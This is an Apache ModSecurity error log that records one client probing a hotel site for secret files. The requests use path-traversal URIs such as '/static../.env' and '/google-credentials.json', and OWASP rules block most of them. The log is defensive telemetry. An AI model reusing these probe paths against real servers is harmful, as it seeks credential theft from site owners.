[Mon Oct 26 10:03:27.915226 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJgAAAA4"]
[Mon Oct 26 10:03:27.915484 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJgAAAA4"]
[Mon Oct 26 10:03:27.923585 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1AAAAAc"]
[Mon Oct 26 10:03:27.923641 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1AAAAAc"]
[Mon Oct 26 10:03:27.923688 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1AAAAAc"]
[Mon Oct 26 10:03:27.923873 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1AAAAAc"]
[Mon Oct 26 10:03:27.924092 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1AAAAAc"]
[Mon Oct 26 10:03:27.932434 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJwAAAA4"]
[Mon Oct 26 10:03:27.932480 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJwAAAA4"]
[Mon Oct 26 10:03:27.932557 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJwAAAA4"]
[Mon Oct 26 10:03:27.932748 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJwAAAA4"]
[Mon Oct 26 10:03:27.933003 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJwAAAA4"]
[Mon Oct 26 10:03:27.938609 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9dr09qPMNS87qzj5gkPwAAABE"]
[Mon Oct 26 10:03:27.938655 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9dr09qPMNS87qzj5gkPwAAABE"]
[Mon Oct 26 10:03:27.938702 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9dr09qPMNS87qzj5gkPwAAABE"]
[Mon Oct 26 10:03:27.938893 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9dr09qPMNS87qzj5gkPwAAABE"]
[Mon Oct 26 10:03:27.939163 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9dr09qPMNS87qzj5gkPwAAABE"]
[Mon Oct 26 10:03:27.943545 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDAAAAAs"]
[Mon Oct 26 10:03:27.943590 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDAAAAAs"]
[Mon Oct 26 10:03:27.943635 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDAAAAAs"]
[Mon Oct 26 10:03:27.943771 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDAAAAAs"]
[Mon Oct 26 10:03:27.944020 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDAAAAAs"]
[Mon Oct 26 10:03:27.944794 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9dr8fzpoBm8xCXttklTwAAABA"]
[Mon Oct 26 10:03:27.944861 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9dr8fzpoBm8xCXttklTwAAABA"]
[Mon Oct 26 10:03:27.944909 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9dr8fzpoBm8xCXttklTwAAABA"]
[Mon Oct 26 10:03:27.945033 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9dr8fzpoBm8xCXttklTwAAABA"]
[Mon Oct 26 10:03:27.945241 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at9dr8fzpoBm8xCXttklTwAAABA"]
[Mon Oct 26 10:03:27.946058 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5fQAAACU"]
[Mon Oct 26 10:03:27.946099 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5fQAAACU"]
[Mon Oct 26 10:03:27.946143 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5fQAAACU"]
[Mon Oct 26 10:03:27.946275 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5fQAAACU"]
[Mon Oct 26 10:03:27.946517 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at9dr9dWtrCZuT8sbNQ5fQAAACU"]
[Mon Oct 26 10:03:27.948182 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/google-credentials.json"] [unique_id "at9drwt8dJFpdHay4jzKkgAAAAA"]
[Mon Oct 26 10:03:27.948245 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/google-credentials.json"] [unique_id "at9drwt8dJFpdHay4jzKkgAAAAA"]
[Mon Oct 26 10:03:27.949035 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dryDi6FEnz4zo40NhfwAAAAk"]
[Mon Oct 26 10:03:27.949180 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dryDi6FEnz4zo40NhfwAAAAk"]
[Mon Oct 26 10:03:27.949410 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dryDi6FEnz4zo40NhfwAAAAk"]
[Mon Oct 26 10:03:27.950270 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1QAAAAc"]
[Mon Oct 26 10:03:27.950430 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1QAAAAc"]
